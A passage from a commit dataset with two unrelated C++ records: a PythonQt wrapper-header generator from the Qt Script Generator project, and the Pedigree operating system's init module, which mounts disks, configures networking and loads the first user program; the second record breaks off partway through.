AbstractMetaEnumList enums1 = meta_class->enums();
qSort(enums1.begin(), enums1.end(), enum_lessThan);
AbstractMetaEnumList enums;
QList<FlagsTypeEntry*> flags;
foreach(AbstractMetaEnum* enum1, enums1) {
// catch gadgets and enums that are not exported on QObjects...
if ((enum1->wasProtected() || enum1->wasPublic()) && (!meta_class->isQObject() || !enum1->hasQEnumsDeclaration())) {
enums << enum1;
if (enum1->typeEntry()->flags()) {
flags << enum1->typeEntry()->flags();
}
}
}
if (enums.count()) {
s << "Q_ENUMS(";
foreach(AbstractMetaEnum* enum1, enums) {
s << enum1->name() << " ";
}
s << ")" << endl;
if (flags.count()) {
s << "Q_FLAGS(";
foreach(FlagsTypeEntry* flag1, flags) {
QString origName = flag1->originalName();
int idx = origName.lastIndexOf("::");
if (idx!= -1) {
origName = origName.mid(idx+2);
}
s << origName << " ";
}
s << ")" << endl;
}
foreach(AbstractMetaEnum* enum1, enums) {
s << "enum " << enum1->name() << "{" << endl;
bool first = true;
QString scope = enum1->wasProtected() ? promoterClassName(meta_class) : meta_class->qualifiedCppName();
foreach(AbstractMetaEnumValue* value, enum1->values()) {
if (first) { first = false; }
else { s << ", "; }
s << " " << value->name() << " = " << scope << "::" << value->name();
}
s << "};" << endl;
}
if (flags.count()) {
foreach(AbstractMetaEnum* enum1, enums) {
if (enum1->typeEntry()->flags()) {
QString origName = enum1->typeEntry()->flags()->originalName();
int idx = origName.lastIndexOf("::");
if (idx!= -1) {
origName = origName.mid(idx+2);
}
s << "Q_DECLARE_FLAGS("<< origName << ", " << enum1->name() <<")"<<endl;
}
}
}
}
s << "public slots:" << endl;
if (meta_class->generateShellClass() || !meta_class->isAbstract()) {
bool copyConstructorSeen = false;
bool defaultConstructorSeen = false;
foreach (const AbstractMetaFunction *fun, ctors) {
if (fun->isAbstract() || (!meta_class->generateShellClass() && !fun->isPublic())) { continue; }
s << meta_class->qualifiedCppName() << "* ";
writeFunctionSignature(s, fun, 0, "new_",
Option(IncludeDefaultExpression | OriginalName | ShowStatic));
s << ";" << endl;
if (fun->arguments().size()==1 && meta_class->qualifiedCppName() == fun->arguments().at(0)->type()->typeEntry()->qualifiedCppName()) {
copyConstructorSeen = true;
}
if (fun->arguments().size()==0) {
defaultConstructorSeen = true;
}
}
if (meta_class->typeEntry()->isValue()
&& !copyConstructorSeen && defaultConstructorSeen) {
QString className = meta_class->generateShellClass()?shellClassName(meta_class):meta_class->qualifiedCppName();
s << meta_class->qualifiedCppName() << "* new_" << meta_class->name() << "(const " << meta_class->qualifiedCppName() << "& other) {" << endl;
s << className << "* a = new " << className << "();" << endl;
s << "*((" << meta_class->qualifiedCppName() << "*)a) = other;" << endl;
s << "return a; }" << endl;
}
}
if (meta_class->hasPublicDestructor() && !meta_class->isNamespace()) {
s << "void delete_" << meta_class->name() << "(" << meta_class->qualifiedCppName() << "* obj) { delete obj; } ";
s << endl;
}
AbstractMetaFunctionList functions = getFunctionsToWrap(meta_class);
foreach (const AbstractMetaFunction *function, functions) {
if (!function->isSlot() || function->isVirtual()) {
// for debugging:
functionHasNonConstReferences(function);
s << " ";
writeFunctionSignature(s, function, 0, QString(),
Option(ConvertReferenceToPtr | FirstArgIsWrappedObject | IncludeDefaultExpression | OriginalName | ShowStatic | UnderscoreSpaces | ProtectedEnumAsInts));
s << ";" << endl;
}
}
if (meta_class->hasDefaultToStringFunction() || meta_class->hasToStringCapability()) {
s << " QString py_toString(" << meta_class->qualifiedCppName() << "*);" << endl;
}
if (meta_class->hasDefaultIsNull()) {
s << " bool __nonzero__(" << meta_class->qualifiedCppName() << "* obj) { return !obj->isNull(); }" << endl;
}
AbstractMetaFieldList fields = meta_class->fields();
qSort(fields.begin(), fields.end(), field_lessThan);
// TODO: move "So" check to typesystem, e.g. allow star in rejection...
// Field accessors
foreach (const AbstractMetaField *field, fields ) {
if (field->isPublic()) {
writeFieldAccessors(s, field);
}
}
writeInjectedCode(s, meta_class, TypeSystem::PyWrapperDeclaration);
s << "};" << endl << endl;
if (meta_class->qualifiedCppName().contains("Ssl")) {
s << "#endif" << endl << endl;
}
s << "#endif // " << include_block << endl;
}
void ShellHeaderGenerator::writeInjectedCode(QTextStream &s, const AbstractMetaClass *meta_class, int type, bool recursive)
{
const AbstractMetaClass *cls = meta_class;
do {
CodeSnipList code_snips = cls->typeEntry()->codeSnips();
foreach(const CodeSnip &cs, code_snips) {
if (cs.language == type) {
s << cs.code() << endl;
}
}
cls = cls->baseClass();
} while (recursive && cls);
}
<commit_msg>fixed method promotion code when argument is named like the method<commit_after>/****************************************************************************
**
** Copyright (C) 2008-2009 Nokia Corporation and/or its subsidiary(-ies).
** All rights reserved.
** Contact: Nokia Corporation (qt-info@nokia.com)
**
** This file is part of the Qt Script Generator project on Qt Labs.
**
** $QT_BEGIN_LICENSE:LGPL$
** No Commercial Usage
** This file contains pre-release code and may not be distributed.
** You may use this file in accordance with the terms and conditions
** contained in the Technology Preview License Agreement accompanying
** this package.
**
** GNU Lesser General Public License Usage
** Alternatively, this file may be used under the terms of the GNU Lesser
** General Public License version 2.1 as published by the Free Software
** Foundation and appearing in the file LICENSE.LGPL included in the
** packaging of this file. Please review the following information to
** ensure the GNU Lesser General Public License version 2.1 requirements
** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Nokia gives you certain additional
** rights. These rights are described in the Nokia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
** If you have questions regarding the use of this file, please contact
** Nokia at qt-info@nokia.com.
**
**
**
**
**
**
**
**
** $QT_END_LICENSE$
**
****************************************************************************/
#include "shellheadergenerator.h"
#include "fileout.h"
#include <QtCore/QDir>
#include <qdebug.h>
QString ShellHeaderGenerator::fileNameForClass(const AbstractMetaClass *meta_class) const
{
return QString("PythonQtWrapper_%1.h").arg(meta_class->name());
}
void ShellHeaderGenerator::writeFieldAccessors(QTextStream &s, const AbstractMetaField *field)
{
const AbstractMetaFunction *setter = field->setter();
const AbstractMetaFunction *getter = field->getter();
// static fields are not supported (yet?)
if (setter->isStatic()) return;
// Uuid data4 did not work (TODO: move to typesystem...(
if (field->enclosingClass()->name()=="QUuid" && setter->name()=="data4") return;
if (field->enclosingClass()->name()=="QIPv6Address") return;
bool isInventorField = field->type()->name().startsWith("So");
if (!isInventorField && !field->type()->isConstant()) {
writeFunctionSignature(s, setter, 0, QString(),
Option(ConvertReferenceToPtr | FirstArgIsWrappedObject| IncludeDefaultExpression | ShowStatic | UnderscoreSpaces));
s << "{ theWrappedObject->" << field->name() << " = " << setter->arguments()[0]->argumentName() << "; }\n";
}
bool addIndirection = false;
if (isInventorField && getter->type()->indirections() == 0) {
// make it a field ptr:
getter->type()->setIndirections(1);
addIndirection = true;
}
writeFunctionSignature(s, getter, 0, QString(),
Option(ConvertReferenceToPtr | FirstArgIsWrappedObject| IncludeDefaultExpression | OriginalName | ShowStatic | UnderscoreSpaces));
s << "{ return ";
if (addIndirection) {
s << "&";
}
s << "theWrappedObject->" << field->name() << "; }\n";
}
static bool enum_lessThan(const AbstractMetaEnum *a, const AbstractMetaEnum *b)
{
return a->name() < b->name();
}
static bool field_lessThan(const AbstractMetaField *a, const AbstractMetaField *b)
{
return a->name() < b->name();
}
void ShellHeaderGenerator::write(QTextStream &s, const AbstractMetaClass *meta_class)
{
QString builtIn = ShellGenerator::isBuiltIn(meta_class->name())?"_builtin":"";
QString pro_file_name = meta_class->package().replace(".", "_") + builtIn + "/" + meta_class->package().replace(".", "_") + builtIn + ".pri";
priGenerator->addHeader(pro_file_name, fileNameForClass(meta_class));
setupGenerator->addClass(meta_class->package().replace(".", "_") + builtIn, meta_class);
QString include_block = "PYTHONQTWRAPPER_" + meta_class->name().toUpper() + "_H";
s << "#ifndef " << include_block << endl
<< "#define " << include_block << endl << endl;
Include inc = meta_class->typeEntry()->include();
ShellGenerator::writeInclude(s, inc);
s << "#include <QObject>" << endl << endl;
s << "#include <PythonQt.h>" << endl << endl;
IncludeList list = meta_class->typeEntry()->extraIncludes();
qSort(list.begin(), list.end());
foreach (const Include &inc, list) {
ShellGenerator::writeInclude(s, inc);
}
s << endl;
AbstractMetaFunctionList ctors = meta_class->queryFunctions(AbstractMetaClass::Constructors
| AbstractMetaClass::WasVisible
| AbstractMetaClass::NotRemovedFromTargetLang);
if (meta_class->qualifiedCppName().contains("Ssl")) {
s << "#ifndef QT_NO_OPENSSL" << endl;
}
// Shell-------------------------------------------------------------------
if (meta_class->generateShellClass() && !ctors.isEmpty()) {
AbstractMetaFunctionList virtualsForShell = getVirtualFunctionsForShell(meta_class);
s << "class " << shellClassName(meta_class)
<< " : public " << meta_class->qualifiedCppName() << endl << "{" << endl;
s << "public:" << endl;
foreach(AbstractMetaFunction* fun, ctors) {
s << " ";
writeFunctionSignature(s, fun, 0,"PythonQtShell_",
Option(IncludeDefaultExpression | OriginalName | ShowStatic | UnderscoreSpaces));
s << ":" << meta_class->qualifiedCppName() << "(";
QString scriptFunctionName = fun->originalName();
AbstractMetaArgumentList args = fun->arguments();
for (int i = 0; i < args.size(); ++i) {
if (i > 0)
s << ", ";
s << args.at(i)->argumentName();
}
s << "),_wrapper(NULL) { ";
writeInjectedCode(s, meta_class, TypeSystem::PyInheritShellConstructorCode, true);
s << " };" << endl;
}
s << endl;
s << " ~" << shellClassName(meta_class) << "();" << endl;
s << endl;
foreach(AbstractMetaFunction* fun, virtualsForShell) {
s << "virtual ";
writeFunctionSignature(s, fun, 0, QString(),
Option(IncludeDefaultExpression | OriginalName | ShowStatic | UnderscoreSpaces));
s << ";" << endl;
}
s << endl;
writeInjectedCode(s, meta_class, TypeSystem::PyShellDeclaration);
writeInjectedCode(s, meta_class, TypeSystem::PyInheritShellDeclaration, true);
s << " PythonQtInstanceWrapper* _wrapper; " << endl;
s << "};" << endl << endl;
}
// Promoter-------------------------------------------------------------------
AbstractMetaFunctionList promoteFunctions;
if (meta_class->typeEntry()->shouldCreatePromoter()) {
promoteFunctions = getProtectedFunctionsThatNeedPromotion(meta_class);
}
if (!promoteFunctions.isEmpty()) {
s << "class " << promoterClassName(meta_class)
<< " : public " << meta_class->qualifiedCppName() << endl << "{ public:" << endl;
AbstractMetaEnumList enums1 = meta_class->enums();
qSort(enums1.begin(), enums1.end(), enum_lessThan);
foreach(AbstractMetaEnum* enum1, enums1) {
if (enum1->wasProtected()) {
s << "enum " << enum1->name() << "{" << endl;
bool first = true;
QString scope = meta_class->qualifiedCppName();
foreach(AbstractMetaEnumValue* value, enum1->values()) {
if (first) { first = false; }
else { s << ", "; }
s << " " << value->name() << " = " << scope << "::" << value->name();
}
s << "};" << endl;
}
}
foreach(AbstractMetaFunction* fun, promoteFunctions) {
if (fun->isStatic()) {
s << "static ";
}
s << "inline ";
writeFunctionSignature(s, fun, 0, "promoted_",
Option(IncludeDefaultExpression | OriginalName | UnderscoreSpaces | ProtectedEnumAsInts));
s << " { ";
QString scriptFunctionName = fun->originalName();
AbstractMetaArgumentList args = fun->arguments();
if (fun->type()) {
s << "return ";
}
if (!fun->isAbstract()) {
s << meta_class->qualifiedCppName() << "::";
}
else {
s << "this->";
}
s << fun->originalName() << "(";
for (int i = 0; i < args.size(); ++i) {
if (i > 0) {
s << ", ";
}
if (args.at(i)->type()->isEnum()) {
AbstractMetaEnum* enumType = m_classes.findEnum((EnumTypeEntry *)args.at(i)->type()->typeEntry());
if (enumType && enumType->wasProtected()) {
s << "(" << enumType->typeEntry()->qualifiedCppName() << ")";
}
}
s << args.at(i)->argumentName();
}
s << "); }" << endl;
}
s << "};" << endl << endl;
}
// Wrapper-------------------------------------------------------------------
s << "class " << wrapperClassName(meta_class)
<< " : public QObject" << endl
<< "{ Q_OBJECT" << endl;
s << "public:" << endl;
AbstractMetaEnumList enums1 = meta_class->enums();
qSort(enums1.begin(), enums1.end(), enum_lessThan);
AbstractMetaEnumList enums;
QList<FlagsTypeEntry*> flags;
foreach(AbstractMetaEnum* enum1, enums1) {
// catch gadgets and enums that are not exported on QObjects...
if ((enum1->wasProtected() || enum1->wasPublic()) && (!meta_class->isQObject() || !enum1->hasQEnumsDeclaration())) {
enums << enum1;
if (enum1->typeEntry()->flags()) {
flags << enum1->typeEntry()->flags();
}
}
}
if (enums.count()) {
s << "Q_ENUMS(";
foreach(AbstractMetaEnum* enum1, enums) {
s << enum1->name() << " ";
}
s << ")" << endl;
if (flags.count()) {
s << "Q_FLAGS(";
foreach(FlagsTypeEntry* flag1, flags) {
QString origName = flag1->originalName();
int idx = origName.lastIndexOf("::");
if (idx!= -1) {
origName = origName.mid(idx+2);
}
s << origName << " ";
}
s << ")" << endl;
}
foreach(AbstractMetaEnum* enum1, enums) {
s << "enum " << enum1->name() << "{" << endl;
bool first = true;
QString scope = enum1->wasProtected() ? promoterClassName(meta_class) : meta_class->qualifiedCppName();
foreach(AbstractMetaEnumValue* value, enum1->values()) {
if (first) { first = false; }
else { s << ", "; }
s << " " << value->name() << " = " << scope << "::" << value->name();
}
s << "};" << endl;
}
if (flags.count()) {
foreach(AbstractMetaEnum* enum1, enums) {
if (enum1->typeEntry()->flags()) {
QString origName = enum1->typeEntry()->flags()->originalName();
int idx = origName.lastIndexOf("::");
if (idx!= -1) {
origName = origName.mid(idx+2);
}
s << "Q_DECLARE_FLAGS("<< origName << ", " << enum1->name() <<")"<<endl;
}
}
}
}
s << "public slots:" << endl;
if (meta_class->generateShellClass() || !meta_class->isAbstract()) {
bool copyConstructorSeen = false;
bool defaultConstructorSeen = false;
foreach (const AbstractMetaFunction *fun, ctors) {
if (fun->isAbstract() || (!meta_class->generateShellClass() && !fun->isPublic())) { continue; }
s << meta_class->qualifiedCppName() << "* ";
writeFunctionSignature(s, fun, 0, "new_",
Option(IncludeDefaultExpression | OriginalName | ShowStatic));
s << ";" << endl;
if (fun->arguments().size()==1 && meta_class->qualifiedCppName() == fun->arguments().at(0)->type()->typeEntry()->qualifiedCppName()) {
copyConstructorSeen = true;
}
if (fun->arguments().size()==0) {
defaultConstructorSeen = true;
}
}
if (meta_class->typeEntry()->isValue()
&& !copyConstructorSeen && defaultConstructorSeen) {
QString className = meta_class->generateShellClass()?shellClassName(meta_class):meta_class->qualifiedCppName();
s << meta_class->qualifiedCppName() << "* new_" << meta_class->name() << "(const " << meta_class->qualifiedCppName() << "& other) {" << endl;
s << className << "* a = new " << className << "();" << endl;
s << "*((" << meta_class->qualifiedCppName() << "*)a) = other;" << endl;
s << "return a; }" << endl;
}
}
if (meta_class->hasPublicDestructor() && !meta_class->isNamespace()) {
s << "void delete_" << meta_class->name() << "(" << meta_class->qualifiedCppName() << "* obj) { delete obj; } ";
s << endl;
}
AbstractMetaFunctionList functions = getFunctionsToWrap(meta_class);
foreach (const AbstractMetaFunction *function, functions) {
if (!function->isSlot() || function->isVirtual()) {
// for debugging:
//functionHasNonConstReferences(function);
s << " ";
writeFunctionSignature(s, function, 0, QString(),
Option(ConvertReferenceToPtr | FirstArgIsWrappedObject | IncludeDefaultExpression | OriginalName | ShowStatic | UnderscoreSpaces | ProtectedEnumAsInts));
s << ";" << endl;
}
}
if (meta_class->hasDefaultToStringFunction() || meta_class->hasToStringCapability()) {
s << " QString py_toString(" << meta_class->qualifiedCppName() << "*);" << endl;
}
if (meta_class->hasDefaultIsNull()) {
s << " bool __nonzero__(" << meta_class->qualifiedCppName() << "* obj) { return !obj->isNull(); }" << endl;
}
AbstractMetaFieldList fields = meta_class->fields();
qSort(fields.begin(), fields.end(), field_lessThan);
// TODO: move "So" check to typesystem, e.g. allow star in rejection...
// Field accessors
foreach (const AbstractMetaField *field, fields ) {
if (field->isPublic()) {
writeFieldAccessors(s, field);
}
}
writeInjectedCode(s, meta_class, TypeSystem::PyWrapperDeclaration);
s << "};" << endl << endl;
if (meta_class->qualifiedCppName().contains("Ssl")) {
s << "#endif" << endl << endl;
}
s << "#endif // " << include_block << endl;
}
void ShellHeaderGenerator::writeInjectedCode(QTextStream &s, const AbstractMetaClass *meta_class, int type, bool recursive)
{
const AbstractMetaClass *cls = meta_class;
do {
CodeSnipList code_snips = cls->typeEntry()->codeSnips();
foreach(const CodeSnip &cs, code_snips) {
if (cs.language == type) {
s << cs.code() << endl;
}
}
cls = cls->baseClass();
} while (recursive && cls);
}
<|endoftext|>
|
<commit_before>/*
* Copyright (c) 2008 James Molloy, Jörg Pfähler, Matthew Iselin
*
* Permission to use, copy, modify, and distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
#include <Log.h>
#include <vfs/VFS.h>
#include <vfs/Directory.h>
#include <subsys/posix/PosixSubsystem.h> // In src
#include <machine/Device.h>
#include <machine/Disk.h>
#include <Module.h>
#include <processor/Processor.h>
#include <linker/Elf.h>
#include <process/Thread.h>
#include <process/Process.h>
#include <process/Scheduler.h>
#include <processor/PhysicalMemoryManager.h>
#include <processor/VirtualAddressSpace.h>
#include <machine/Machine.h>
#include <linker/DynamicLinker.h>
#include <panic.h>
#include <utilities/assert.h>
#include <core/BootIO.h> // In src/system/kernel
#include <network-stack/NetworkStack.h>
#include <network-stack/RoutingTable.h>
#include <network-stack/UdpLogger.h>
#include <users/UserManager.h>
#include <utilities/TimeoutGuard.h>
#include <config/ConfigurationManager.h>
#include <config/MemoryBackend.h>
#include <machine/DeviceHashTree.h>
#include <lodisk/LoDisk.h>
#include <machine/InputManager.h>
#include <ServiceManager.h>
extern void pedigree_init_sigret();
extern void pedigree_init_pthreads();
extern BootIO bootIO;
void init_stage2();
static bool bRootMounted = false;
static bool probeDisk(Disk *pDisk)
{
String alias; // Null - gets assigned by the filesystem.
if (VFS::instance().mount(pDisk, alias))
{
// For mount message
bool didMountAsRoot = false;
// Search for the root specifier, if we haven't already mounted root
if (!bRootMounted)
{
NormalStaticString s;
s += alias;
s += "»/.pedigree-root";
File* f = VFS::instance().find(String(static_cast<const char*>(s)));
if (f && !bRootMounted)
{
NOTICE("Mounted " << alias << " successfully as root.");
VFS::instance().addAlias(alias, String("root"));
bRootMounted = didMountAsRoot = true;
}
}
if(!didMountAsRoot)
{
NOTICE("Mounted " << alias << ".");
}
return false;
}
return false;
}
static bool findDisks(Device *pDev)
{
for (unsigned int i = 0; i < pDev->getNumChildren(); i++)
{
Device *pChild = pDev->getChild(i);
if (pChild->getNumChildren() == 0 && /* Only check leaf nodes. */
pChild->getType() == Device::Disk)
{
if ( probeDisk(static_cast<Disk*> (pChild)) ) return true;
}
else
{
// Recurse.
if (findDisks(pChild)) return true;
}
}
return false;
}
/// This ensures that the init module entry function will not exit until the init
/// program entry point thread is running.
Mutex g_InitProgramLoaded(true);
static void init()
{
static HugeStaticString str;
// Mount all available filesystems.
if (!findDisks(&Device::root()))
{
// FATAL("No disks found!");
}
if (VFS::instance().find(String("raw»/")) == 0)
{
FATAL("No raw partition!");
}
// Are we running a live CD?
/// \todo Use the configuration manager to determine if we're running a live CD or
/// not, to avoid the potential for conflicts here.
if(VFS::instance().find(String("root»/livedisk.img")))
{
FileDisk *pRamDisk = new FileDisk(String("root»/livedisk.img"), FileDisk::RamOnly);
if(pRamDisk && pRamDisk->initialise())
{
pRamDisk->setParent(&Device::root());
Device::root().addChild(pRamDisk);
// Mount it in the VFS
VFS::instance().removeAlias(String("root"));
bRootMounted = false;
findDisks(pRamDisk);
}
else
delete pRamDisk;
}
// Is there a root disk mounted?
if(VFS::instance().find(String("root»/.pedigree-root")) == 0)
{
#ifndef NOGFX
FATAL("No root disk (missing .pedigree-root?)");
#else
WARNING("No root disk, but nogfx builds don't need one.");
#endif
}
// Fill out the device hash table
DeviceHashTree::instance().fill(&Device::root());
#if 0
// Testing froggey's Bochs patch for magic watchpoints... -Matt
volatile uint32_t abc = 0;
NOTICE("Address of abc = " << reinterpret_cast<uintptr_t>(&abc) << "...");
asm volatile("xchg %%cx,%%cx" :: "a" (&abc));
abc = 0xdeadbeef;
abc = 0xdeadbe;
abc = 0xdead;
abc = 0xde;
abc = 0xd;
abc = 0;
FATAL("Test complete: " << abc << ".");
#endif
// Initialise user/group configuration.
UserManager::instance().initialise();
// Build routing tables - try to find a default configuration that can
// connect to the outside world
IpAddress empty;
Network *pDefaultCard = 0;
for (size_t i = 0; i < NetworkStack::instance().getNumDevices(); i++)
{
/// \todo Perhaps try and ping a remote host?
Network* card = NetworkStack::instance().getDevice(i);
StationInfo info = card->getStationInfo();
// IPv6 stateless autoconfiguration and DHCP/DHCPv6 must not happen on
// the loopback device, which has a fixed address.
if(info.ipv4.getIp() != Network::convertToIpv4(127, 0, 0, 1))
{
// Auto-configure IPv6 on this card.
ServiceFeatures *pFeatures = ServiceManager::instance().enumerateOperations(String("ipv6"));
Service *pService = ServiceManager::instance().getService(String("ipv6"));
if(pFeatures->provides(ServiceFeatures::touch))
if(pService)
pService->serve(ServiceFeatures::touch, reinterpret_cast<void*>(card), sizeof(*card));
// Ask for a DHCP lease on this card
/// \todo Static configuration
pFeatures = ServiceManager::instance().enumerateOperations(String("dhcp"));
pService = ServiceManager::instance().getService(String("dhcp"));
if(pFeatures->provides(ServiceFeatures::touch))
if(pService)
pService->serve(ServiceFeatures::touch, reinterpret_cast<void*>(card), sizeof(*card));
}
StationInfo newInfo = card->getStationInfo();
// List IPv6 addresses
for(size_t i = 0; i < info.nIpv6Addresses; i++)
NOTICE("Interface " << i << " has IPv6 address " << info.ipv6[i].toString() << " (" << Dec << i << Hex << " out of " << info.nIpv6Addresses << ")");
// If the device has a gateway, set it as the default and continue
if (newInfo.gateway != empty)
{
if(!pDefaultCard)
pDefaultCard = card;
// Additionally route the complement of its subnet to the gateway
RoutingTable::instance().Add(RoutingTable::DestSubnetComplement,
newInfo.ipv4,
newInfo.subnetMask,
newInfo.gateway,
String(""),
card);
// And the actual subnet that the card is on needs to route to... the card.
RoutingTable::instance().Add(RoutingTable::DestSubnet,
newInfo.ipv4,
newInfo.subnetMask,
empty,
String(""),
card);
}
// If this isn't already the loopback device, redirect our own IP to 127.0.0.1
if(newInfo.ipv4.getIp() != Network::convertToIpv4(127, 0, 0, 1))
RoutingTable::instance().Add(RoutingTable::DestIpSub, newInfo.ipv4, Network::convertToIpv4(127, 0, 0, 1), String(""), NetworkStack::instance().getLoopback());
else
RoutingTable::instance().Add(RoutingTable::DestIp, newInfo.ipv4, empty, String(""), card);
}
// Otherwise, just assume the default is interface zero
if (!pDefaultCard)
RoutingTable::instance().Add(RoutingTable::Named, empty, empty, String("default"), NetworkStack::instance().getDevice(0));
else
RoutingTable::instance().Add(RoutingTable::Named, empty, empty, String("default"), pDefaultCard);
#if 0
// Routes installed, start the UDP logger
UdpLogger *logger = new UdpLogger();
logger->initialise(IpAddress(Network::convertToIpv4(192, 168, 0, 1)));
Log::instance().installCallback(logger);
#endif
#ifdef NOGFX
WARNING("-- System booted - no userspace supported in nogfx builds yet. --");
#else
str += "Loading init program (root»/applications/TUI)\n";
bootIO.write(str, BootIO::White, BootIO::Black);
str.clear();
#ifdef THREADS
// At this point we're uninterruptible, as we're forking.
Spinlock lock;
lock.acquire();
// Create a new process for the init process.
Process *pProcess = new Process(Processor::information().getCurrentThread()->getParent());
pProcess->setUser(UserManager::instance().getUser(0));
pProcess->setGroup(UserManager::instance().getUser(0)->getDefaultGroup());
pProcess->setEffectiveUser(pProcess->getUser());
pProcess->setEffectiveGroup(pProcess->getGroup());
pProcess->description().clear();
pProcess->description().append("init");
pProcess->setCwd(VFS::instance().find(String("root»/")));
pProcess->setCtty(0);
PosixSubsystem *pSubsystem = new PosixSubsystem;
pProcess->setSubsystem(pSubsystem);
new Thread(pProcess, reinterpret_cast<Thread::ThreadStartFunc>(&init_stage2), 0x0 /* parameter */);
lock.release();
// Wait for the program to load
g_InitProgramLoaded.acquire();
#else
#warning the init module is almost useless without threads.
#endif
#endif
}
static void destroy()
{
}
extern void system_reset();
void init_stage2()
{
// Load initial program.
//File* initProg = VFS::instance().find(String("root»/applications/TUI"));
File* initProg = VFS::instance().find(String("root»/applications/winman"));
if (!initProg)
{
NOTICE("INIT: FileNotFound!!");
initProg = VFS::instance().find(String("root»/applications/tui"));
if (!initProg)
{
FATAL("Unable to load init program!");
return;
}
}
NOTICE("INIT: File found");
String fname = String("root»/applications/winman");
NOTICE("INIT: name: " << fname);
// That will have forked - we don't want to fork, so clear out all the chaff
// in the new address space that's not in the kernel address space so we
// have a clean slate.
Process *pProcess = Processor::information().getCurrentThread()->getParent();
pProcess->getSpaceAllocator().clear();
pProcess->getSpaceAllocator().free(0x00100000, 0x50000000);
pProcess->getAddressSpace()->revertToKernelAddressSpace();
DynamicLinker *pLinker = new DynamicLinker();
pProcess->setLinker(pLinker);
// Should we actually load this file, or request another program load the file?
String interpreter("");
if(pLinker->checkInterpreter(initProg, interpreter))
{
// Switch to the interpreter.
String realInterpreter("root»");
realInterpreter += interpreter;
initProg = VFS::instance().find(realInterpreter);
if(!initProg)
{
FATAL("Unable to load init program interpreter " << realInterpreter << "!");
return;
}
}
if (!pLinker->loadProgram(initProg))
{
FATAL("Init program failed to load!");
}
for (int j = 0; j < 0x21000; j += 0x1000)
{
physical_uintptr_t phys = PhysicalMemoryManager::instance().allocatePage();
bool b = Processor::information().getVirtualAddressSpace().map(phys, reinterpret_cast<void*> (j+0x20000000), VirtualAddressSpace::Write);
if (!b)
WARNING("map() failed in init");
}
// Initialise the sigret and pthreads shizzle.
pedigree_init_sigret();
pedigree_init_pthreads();
class RunInitEvent : public Event
{
public:
RunInitEvent(uintptr_t addr) : Event(addr, true)
{}
size_t serialize(uint8_t *pBuffer)
{return 0;}
size_t getNumber() {return ~0UL;}
};
// Find the init function location, if it exists.
uintptr_t initLoc = pLinker->getProgramElf()->getInitFunc();
if (initLoc)
{
NOTICE("initLoc active: " << initLoc);
RunInitEvent *ev = new RunInitEvent(initLoc);
// Poke the initLoc so we know it's mapped in!
volatile uintptr_t *vInitLoc = reinterpret_cast<volatile uintptr_t*> (initLoc);
volatile uintptr_t tmp = * vInitLoc;
*vInitLoc = tmp; // GCC can't ignore a write.
asm volatile("" :::"memory"); // Memory barrier.
Processor::information().getCurrentThread()->sendEvent(ev);
// Yield, so the code gets run before we return.
Scheduler::instance().yield();
}
uintptr_t *argv_loc = reinterpret_cast<uintptr_t *>(0x20020000);
memset(argv_loc, 0, PhysicalMemoryManager::instance().getPageSize());
argv_loc[0] = reinterpret_cast<uintptr_t>(&argv_loc[2]);
memcpy(&argv_loc[2], static_cast<const char *>(fname), fname.length());
uintptr_t *env_loc = reinterpret_cast<uintptr_t *>(0x20020400);
uintptr_t *stack = reinterpret_cast<uintptr_t*>(0x20020000 - 24);
#if 0
system_reset();
#else
// Alrighty - lets create a new thread for this program - -8 as PPC assumes the previous stack frame is available...
new Thread(pProcess, reinterpret_cast<Thread::ThreadStartFunc>(pLinker->getProgramElf()->getEntryPoint()), argv_loc /* parameter */, reinterpret_cast<void*>(stack) /* Stack */);
g_InitProgramLoaded.release();
#endif
}
#ifdef X86_COMMON
#define __MOD_DEPS "vfs", "ext2", "fat", "posix", "partition", "TUI", "linker", "network-stack", "vbe", "users", "pedigree-c", "native"
#elif PPC_COMMON
#define __MOD_DEPS "vfs", "ext2", "fat", "posix", "partition", "TUI", "linker", "network-stack", "users", "pedigree-c", "native"
#elif ARM_COMMON
#define __MOD_DEPS "vfs", "ext2", "fat", "posix", "partition", "linker", "network-stack", "users", "pedigree-c", "native"
#endif
MODULE_INFO("init", &init, &destroy, __MOD_DEPS);
<commit_msg>init: load the init binary instead of winman<commit_after>/*
* Copyright (c) 2008 James Molloy, Jörg Pfähler, Matthew Iselin
*
* Permission to use, copy, modify, and distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
#include <Log.h>
#include <vfs/VFS.h>
#include <vfs/Directory.h>
#include <subsys/posix/PosixSubsystem.h> // In src
#include <machine/Device.h>
#include <machine/Disk.h>
#include <Module.h>
#include <processor/Processor.h>
#include <linker/Elf.h>
#include <process/Thread.h>
#include <process/Process.h>
#include <process/Scheduler.h>
#include <processor/PhysicalMemoryManager.h>
#include <processor/VirtualAddressSpace.h>
#include <machine/Machine.h>
#include <linker/DynamicLinker.h>
#include <panic.h>
#include <utilities/assert.h>
#include <core/BootIO.h> // In src/system/kernel
#include <network-stack/NetworkStack.h>
#include <network-stack/RoutingTable.h>
